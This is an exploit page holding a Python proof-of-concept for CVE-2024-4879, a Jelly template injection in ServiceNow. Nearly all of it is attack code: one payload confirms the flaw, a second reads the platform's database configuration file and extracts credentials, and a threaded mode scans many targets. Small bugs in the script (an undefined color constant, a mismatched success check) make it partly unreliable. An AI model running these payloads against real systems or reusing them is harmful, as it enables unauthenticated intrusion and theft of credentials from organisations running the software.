Skip to main content

ServiceNow Multiple Versions – Input Validation & Template Injection

Categories: WebApps

ServiceNow Multiple Versions – Input Validation & Template Injection

Proof of Concept (PoC)

poc.py
#!/usr/bin/env python3
"""
# Title : ServiceNow Multiple Versions - Input Validation & Template Injection
# Date: 2025-01-31
# Author: ibrahimsql
# Vendor: ServiceNow
# Version: Vancouver, Washington DC, Utah (various patches)
# affected from 0 before Utah Patch 10 Hot Fix 3 
# affected from 0 before Utah Patch 10a Hot Fix 2 
# affected from 0 before Vancouver Patch 6 Hot Fix 2 
# affected from 0 before Vancouver Patch 7 Hot Fix 3b 
# affected from 0 before Vancouver Patch 8 Hot Fix 4 
# affected from 0 before Vancouver Patch 9 
# affected from 0 before Vancouver Patch 10 
# affected from 0 before Washington DC Patch 1 Hot Fix 2b 
# affected from 0 before Washington DC Patch 2 Hot Fix 2 
# affected from 0 before Washington DC Patch 3 Hot Fix 1 
# affected from 0 before Washington DC Patch 4
# Tested on: ServiceNow Platform
# CVE: CVE-2024-4879
# Category: Input Validation
# CVSS Score: 9.8 (Critical)
# CWE: CWE-20 (Improper Input Validation)

# Description:
# ServiceNow Platform contains an input validation vulnerability that allows
# unauthenticated remote code execution. The vulnerability affects Vancouver,
# Washington DC, and Utah releases of the Now Platform.

# Impact:
# - Unauthenticated remote code execution
# - Complete system compromise
# - Data exfiltration
# - Service disruption

# Requirements:
# - requests>=2.25.1
# - colorama>=0.4.4
# - urllib3

# Usage:
# python3 CVE-2024-4879.py -t https://target.service-now.com
# python3 CVE-2024-4879.py -f targets.txt
"""

from colorama import Fore, Style, init
import requests
import argparse
import urllib3
import concurrent.futures
import sys
import re
from urllib.parse import urlparse

# Initialize colorama
init(autoreset=True)

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Colors:
    RED = Fore.RED
    GREEN = Fore.GREEN
    YELLOW = Fore.YELLOW
    BLUE = Fore.BLUE
    WHITE = Fore.WHITE
    CYAN = Fore.CYAN
    MAGENTA = Fore.MAGENTA
    RESET = Style.RESET_ALL

banner = f"""
{Colors.CYAN}
 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•—  β–ˆβ–ˆβ•—      β–ˆβ–ˆβ•—  β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— 
β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•    β•šβ•β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ•β•β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘      β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•    β–ˆβ–ˆβ•”β•β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘
β–ˆβ–ˆβ•‘     β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β•β•šβ•β•β•β•β•β–ˆβ–ˆβ•”β•β•β•β• β–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β• β•šβ•β•β•β•β–ˆβ–ˆβ•‘β•šβ•β•β•β•β•β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•”β•  β•šβ•β•β•β–ˆβ–ˆβ•‘
β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—     β–ˆβ–ˆβ•‘           β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•
 β•šβ•β•β•β•β•β•  β•šβ•β•β•β•  β•šβ•β•β•β•β•β•β•    β•šβ•β•β•β•β•β•β• β•šβ•β•β•β•β•β• β•šβ•β•β•β•β•β•β•     β•šβ•β•           β•šβ•β• β•šβ•β•β•β•β•    β•šβ•β•   β•šβ•β•β•β•β•
{Colors.RESET}
{Colors.YELLOW}ServiceNow Platform Input Validation Vulnerability{Colors.RESET}
{Colors.WHITE}CVE-2024-4879 | CVSS: 9.8 (Critical) | Author: ibrahimsql{Colors.RESET}
"""

class ServiceNowExploit:
    def __init__(self, timeout=10, verbose=False):
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()
        self.session.verify = False
        
    def _log(self, level, message, url=""):
        """Enhanced logging with colors and levels"""
        timestamp = "[*]"
        if level == "success":
            print(f"{Colors.GREEN}[+]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
        elif level == "error":
            print(f"{Colors.RED}[-]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
        elif level == "warning":
            print(f"{Colors.YELLOW}[!]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
        elif level == "info":
            print(f"{Colors.BLUE}[*]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
        elif level == "verbose" and self.verbose:
            print(f"{Colors.CYAN}[V]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
    
    def validate_url(self, url):
        """Validate and normalize URL format"""
        if not url.startswith(('http://', 'https://')):
            url = f"https://{url}"
        
        try:
            parsed = urlparse(url)
            if not parsed.netloc:
                return None
            return url
        except Exception:
            return None
    
    def check_target_reachability(self, url):
        """Check if target is reachable"""
        try:
            response = self.session.get(url, timeout=self.timeout)
            if response.status_code == 200:
                self._log("info", "Target is reachable", url)
                return True
            else:
                self._log("warning", f"Target returned status {response.status_code}", url)
                return False
        except requests.exceptions.RequestException as e:
            self._log("error", f"Target unreachable: {str(e)}", url)
            return False
    
    def exploit_vulnerability(self, url):
        """Main exploit function for CVE-2024-4879"""
        try:
            # Normalize URL
            url = self.validate_url(url)
            if not url:
                self._log("error", "Invalid URL format")
                return False
            
            # Check reachability first
            if not self.check_target_reachability(url):
                return False
            
            # Construct the exploit payload
            exploit_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(668.5*2);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
            exploit_url = f"{url}{exploit_path}"
            
            self._log("info", "Testing for CVE-2024-4879 vulnerability", url)
            
            # Send exploit request
            response = self.session.get(exploit_url, timeout=self.timeout)
            
            if self.verbose:
                self._log("verbose", f"Response status: {response.status_code}")
                self._log("verbose", f"Response length: {len(response.text)}")
            
            # Check for vulnerability indicator
            if response.status_code == 200 and "1337" in response.text:
                self._log("success", "VULNERABLE - CVE-2024-4879 confirmed!", url)
                
                # Attempt to extract sensitive information
                info_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/conf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
                info_url = f"{url}{info_path}"
                
                try:
                    info_response = self.session.get(info_url, timeout=self.timeout)
                    if info_response.status_code == 200:
                        self._log("success", "Database configuration extracted!")
                        if self.verbose:
                            print(f"n{Colors.YELLOW}=== Database Configuration ==={Colors.RESET}")
                            # Extract and display configuration data
                            config_data = self._extract_config_data(info_response.text)
                            if config_data:
                                print(config_data)
                            print(f"{Colors.YELLOW}================================{Colors.RESET}n")
                except Exception as e:
                    self._log("warning", f"Failed to extract configuration: {str(e)}")
                
                return True
            else:
                self._log("error", "Not vulnerable or payload failed", url)
                return False
                
        except requests.exceptions.Timeout:
            self._log("warning", "Connection timeout", url)
            return False
        except requests.exceptions.ConnectionError:
            self._log("error", "Connection failed", url)
            return False
        except Exception as e:
            self._log("error", f"Unexpected error: {str(e)}", url)
            return False
    
    def _extract_config_data(self, response_text):
        """Extract configuration data from response"""
        try:
            # Look for database configuration patterns
            patterns = [
                r'glide.db..*?=.*',
                r'jdbc..*?=.*',
                r'database..*?=.*'
            ]
            
            extracted_data = []
            for pattern in patterns:
                matches = re.findall(pattern, response_text, re.IGNORECASE)
                extracted_data.extend(matches)
            
            return 'n'.join(extracted_data) if extracted_data else None
        except Exception:
            return None

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2024-4879 ServiceNow Platform Input Validation Vulnerability Scanner",
        epilog="Examples:n  python3 CVE-2024-4879.py -t https://target.service-now.comn  python3 CVE-2024-4879.py -f targets.txt -v",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    parser.add_argument('-t', '--target', help="Single target to scan")
    parser.add_argument('-f', '--file', help="File containing list of targets")
    parser.add_argument('-v', '--verbose', action='store_true', help="Enable verbose output")
    parser.add_argument('--timeout', type=int, default=10, help="Request timeout in seconds (default: 10)")
    parser.add_argument('--threads', type=int, default=10, help="Number of threads for concurrent scanning (default: 10)")
    
    args = parser.parse_args()
    
    if not args.target and not args.file:
        parser.print_help()
        sys.exit(1)
    
    print(banner)
    
    try:
        exploit = ServiceNowExploit(timeout=args.timeout, verbose=args.verbose)
        
        if args.target:
            exploit.exploit_vulnerability(args.target)
        
        if args.file:
            try:
                with open(args.file, 'r') as f:
                    targets = [line.strip() for line in f.readlines() if line.strip()]
                
                print(f"{Colors.INFO}[*]{Colors.RESET} Scanning {len(targets)} targets with {args.threads} threads...n")
                
                with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
                    executor.map(exploit.exploit_vulnerability, targets)
                    
            except FileNotFoundError:
                print(f"{Colors.RED}[-]{Colors.RESET} File not found: {args.file}")
                sys.exit(1)
            except Exception as e:
                print(f"{Colors.RED}[-]{Colors.RESET} Error reading file: {str(e)}")
                sys.exit(1)
    
    except KeyboardInterrupt:
        print(f"n{Colors.YELLOW}[!]{Colors.RESET} Scan interrupted by user")
        sys.exit(0)
    except Exception as e:
        print(f"{Colors.RED}[-]{Colors.RESET} Unexpected error: {str(e)}")
        sys.exit(1)

if __name__ == "__main__":
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...